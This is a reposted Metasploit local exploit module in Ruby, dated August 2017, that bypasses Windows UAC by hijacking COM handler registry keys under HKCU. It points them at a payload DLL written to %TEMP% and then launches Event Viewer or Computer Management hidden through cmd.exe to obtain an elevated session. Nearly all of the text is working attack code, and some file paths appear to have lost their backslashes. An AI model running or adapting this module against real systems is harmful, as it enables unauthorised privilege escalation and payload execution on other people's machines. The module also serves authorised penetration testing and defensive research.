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Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)

Posted on 22 August 2017

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Post::Windows::Priv
include Post::Windows::Registry
include Post::Windows::Runas
include Exploit::FileDropper

CLSID_PATH = "HKCU\Software\Classes\CLSID"
DEFAULT_VAL_NAME = '' # This maps to "(Default)"

def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)',
'Description' => %q{
This module will bypass Windows UAC by creating COM handler registry entries in the
HKCU hive. When certain high integrity processes are loaded, these registry entries
are referenced resulting in the process loading user-controlled DLLs. These DLLs
contain the payloads that result in elevated sessions. Registry key modifications
are cleaned up after payload invocation.

This module requires the architecture of the payload to match the OS, but the
current low-privilege Meterpreter session architecture can be different. If
specifying EXE::Custom your DLL should call ExitProcess() after starting your
payload in a separate process.

This module invokes the target binary via cmd.exe on the target. Therefore if
cmd.exe access is restricted, this module will not run correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'Matt Nelson', # UAC bypass discovery and research
'b33f', # UAC bypass discovery and research
'OJ Reeves' # MSF module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'https://www.youtube.com/watch?v=3gz1QmiHhss',
'URL', 'https://wikileaks.org/ciav7p1/cms/page_13763373.html',
'URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf',
]
],
'DisclosureDate'=> 'Jan 01 1900'
))
end

def check
if sysinfo['OS'] =~ /Windows (7|8|10|2008|2012|2016)/ && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def exploit
# Make sure we have a sane payload configuration
if sysinfo['Architecture'] != payload_instance.arch.first
fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system")
end

registry_view = REGISTRY_VIEW_NATIVE
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
registry_view = REGISTRY_VIEW_64_BIT
end

# Validate that we can actually do things before we bother
# doing any more work
check_permissions!

case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end

payload = generate_payload_dll({:dll_exitprocess => true})
commspec = expand_path('%COMSPEC%')
dll_name = expand_path("%TEMP%\#{rand_text_alpha(8)}.dll")
hijack = hijack_com(registry_view, dll_name)

unless hijack && hijack[:cmd_path]
fail_with(Failure::Unknown, 'Unable to hijack COM')
end

begin
print_status("Targeting #{hijack[:name]} via #{hijack[:root_key]} ...")
print_status("Uploading payload to #{dll_name} ...")
write_file(dll_name, payload)
register_file_for_cleanup(dll_name)

print_status("Executing high integrity process ...")
args = "/c #{expand_path(hijack[:cmd_path])}"
args << " #{hijack[:cmd_args]}" if hijack[:cmd_args]

# Launch the application from cmd.exe instead of directly so that we can
# avoid the dreaded 740 error (elevation requried)
client.sys.process.execute(commspec, args, {'Hidden' => true})

# Wait a copule of seconds to give the payload a chance to fire before cleaning up
Rex::sleep(5)

handler(client)

ensure
print_status("Cleaining up registry ...")
registry_deletekey(hijack[:root_key], registry_view)
end
end

# TODO: Add more hijack points when they're known.
# TODO: when more class IDs are found for individual hijackpoints
# they can be added to the array of class IDs.
@@hijack_points = [
{
name: 'Event Viewer',
cmd_path: '%WINDIR%System32eventvwr.exe',
class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']
},
{
name: 'Computer Managment',
cmd_path: '%WINDIR%System32mmc.exe',
cmd_args: 'CompMgmt.msc',
class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']
}
]

#
# Perform the hijacking of COM class IDS. This function chooses a random
# application target and a random class id associated with it before
# modifying the registry.
#
def hijack_com(registry_view, dll_path)
target = @@hijack_points.sample
target_clsid = target[:class_ids].sample
root_key = "#{CLSID_PATH}\{#{target_clsid}}"
inproc_key = "#{root_key}\InProcServer32"
shell_key = "#{root_key}\ShellFolder"

registry_createkey(root_key, registry_view)
registry_createkey(inproc_key, registry_view)
registry_createkey(shell_key, registry_view)

registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', registry_view)
registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view)
registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry_view)
registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_view)
registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', registry_view)

{
name: target[:name],
cmd_path: target[:cmd_path],
cmd_args: target[:cmd_args],
root_key: root_key
}
end

def check_permissions!
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?

# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?

unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end

unless is_in_admin_group?
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end

print_status('UAC is Enabled, checking level...')
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end

 

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